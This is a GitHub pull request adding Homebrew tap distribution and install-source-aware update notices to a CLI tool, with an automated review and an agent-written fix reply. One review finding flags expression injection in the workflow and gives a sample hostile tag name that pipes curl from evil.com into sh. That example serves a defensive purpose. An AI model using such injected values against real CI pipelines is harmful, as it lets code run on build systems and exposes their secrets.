feat: add Homebrew tap distribution#273
Conversation
Greptile SummaryThis PR adds end-to-end Homebrew tap distribution for hunk: a formula generator script (
Confidence Score: 3/5Safe to merge once the workflow The formula generator, update-notice logic, and tests are all solid. The one concern is in the CI workflow: the new Homebrew steps interpolate .github/workflows/release-prebuilt-npm.yml — specifically the "Update Homebrew formula" and "Commit Homebrew formula update" steps.
|
| Filename | Overview |
|---|---|
| .github/workflows/release-prebuilt-npm.yml | Adds Bun setup and three Homebrew-tap steps to the create-github-release job. New steps use ${{ github.ref_name }} directly in shell commands, unlike the existing step in the same job which uses a safe env-var intermediary. |
| scripts/update-homebrew-formula.ts | New script generating a Homebrew Ruby formula from local release assets. Validates tag format, computes SHA-256 checksums, and emits the formula using write_env_script to inject HUNK_INSTALL_SOURCE=homebrew into the installed binary's environment. |
| scripts/update-homebrew-formula.test.ts | Integration test for the formula generator; spawns the script in a temp directory, verifies exit code 0, and asserts key formula strings including the env-script wrapper. |
| src/core/updateNotice.ts | Adds InstallSource type and resolveInstallSource dep; gates beta-update suggestions to npm installs and routes the upgrade command to brew update && brew upgrade hunk for Homebrew installs. |
| src/core/updateNotice.test.ts | Adds three new test cases covering Homebrew upgrade command, suppression of beta notices for Homebrew installs, and env-var-based install-source detection. |
| package.json | Adds update:homebrew-formula npm script pointing to the new generator. |
| README.md | Documents brew install modem-dev/tap/hunk as an alternative install path. |
| CHANGELOG.md | Adds an unreleased changelog entry for the Homebrew tap and update-notice improvements. |
Sequence Diagram
sequenceDiagram
participant GH as GitHub Actions (push vX.Y.Z)
participant WF as release-prebuilt-npm.yml
participant Script as update-homebrew-formula.ts
participant Tap as modem-dev/homebrew-tap
participant User as hunk binary (Homebrew)
participant NPM as registry.npmjs.org
GH->>WF: tag push (stable)
WF->>WF: archive release assets (.tar.gz)
WF->>WF: create GitHub release
WF->>Tap: checkout homebrew-tap (PAT)
WF->>Script: bun run update:homebrew-formula --tag vX.Y.Z
Script->>Script: compute SHA-256 per platform asset
Script->>Tap: write Formula/hunk.rb
WF->>Tap: git commit + push Formula/hunk.rb
User->>NPM: fetch dist-tags on startup
NPM-->>User: "{ latest, beta }"
User->>User: resolveInstallSource() → homebrew
User->>User: "skip beta, show brew update && brew upgrade hunk"
Prompt To Fix All With AI
Fix the following 1 code review issue. Work through them one at a time, proposing concise fixes.
---
### Issue 1 of 1
.github/workflows/release-prebuilt-npm.yml:228-244
**Expression injection in shell `run` blocks**
`${{ github.ref_name }}` is substituted into the shell script at YAML-evaluation time before the shell runs, so a tag name like `` v1.0.0`curl http://evil.com|sh` `` or `v1.0.0$(cmd)` would execute arbitrary code. The commit-message line (244) is especially easy to exploit because the only quoting is the outer `"…"`.
The existing "Create or update GitHub release" step in this same job already uses the correct mitigation — it sets `TAG_NAME: ${{ github.ref_name }}` as an `env:` key and references `$TAG_NAME` in the shell. The new Homebrew steps break that pattern.
Reviews (1): Last reviewed commit: "feat: add Homebrew tap distribution" | Re-trigger Greptile
| run: | | ||
| bun run update:homebrew-formula -- \ | ||
| --tag "${{ github.ref_name }}" \ | ||
| --asset-root dist/release/github \ | ||
| --output-root dist/release/homebrew-tap | ||
|
|
||
| - name: Commit Homebrew formula update | ||
| if: ${{ !contains(github.ref_name, '-alpha') && !contains(github.ref_name, '-beta') && !contains(github.ref_name, '-rc') }} | ||
| working-directory: dist/release/homebrew-tap | ||
| run: | | ||
| git config user.name "github-actions[bot]" | ||
| git config user.email "41898282+github-actions[bot]@users.noreply.github.com" | ||
| git add Formula/hunk.rb | ||
| if git diff --cached --quiet; then | ||
| echo "Homebrew formula already up to date." | ||
| else | ||
| git commit -m "hunk ${{ github.ref_name }}" |
There was a problem hiding this comment.
Expression injection in shell
run blocks
${{ github.ref_name }} is substituted into the shell script at YAML-evaluation time before the shell runs, so a tag name like v1.0.0`curl http://evil.com|sh` or v1.0.0$(cmd) would execute arbitrary code. The commit-message line (244) is especially easy to exploit because the only quoting is the outer "…".
The existing "Create or update GitHub release" step in this same job already uses the correct mitigation — it sets TAG_NAME: ${{ github.ref_name }} as an env: key and references $TAG_NAME in the shell. The new Homebrew steps break that pattern.
Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/workflows/release-prebuilt-npm.yml
Line: 228-244
Comment:
**Expression injection in shell `run` blocks**
`${{ github.ref_name }}` is substituted into the shell script at YAML-evaluation time before the shell runs, so a tag name like `` v1.0.0`curl http://evil.com|sh` `` or `v1.0.0$(cmd)` would execute arbitrary code. The commit-message line (244) is especially easy to exploit because the only quoting is the outer `"…"`.
The existing "Create or update GitHub release" step in this same job already uses the correct mitigation — it sets `TAG_NAME: ${{ github.ref_name }}` as an `env:` key and references `$TAG_NAME` in the shell. The new Homebrew steps break that pattern.
How can I resolve this? If you propose a fix, please make it concise.There was a problem hiding this comment.
Fixed by moving the tag interpolation into step-level TAG_NAME env vars and referencing $TAG_NAME from the shell blocks, matching the existing release step pattern.
Responded by Pi using OpenAI GPT-5 Codex.
|
Thanks for the PR @benvinegar |
Summary
modem-dev/homebrew-taprelease flowbrew update && brew upgrade hunkfor Homebrew installsbrew install modem-dev/tap/hunkCloses #219
Testing
bun test src/core/updateNotice.test.ts scripts/update-homebrew-formula.test.tsbun run typecheckbun run lintbun run format:checkbrew install modem-dev/tap/hunk && hunk --version && brew test modem-dev/tap/hunkThis PR description was generated by Pi using OpenAI GPT-5 Codex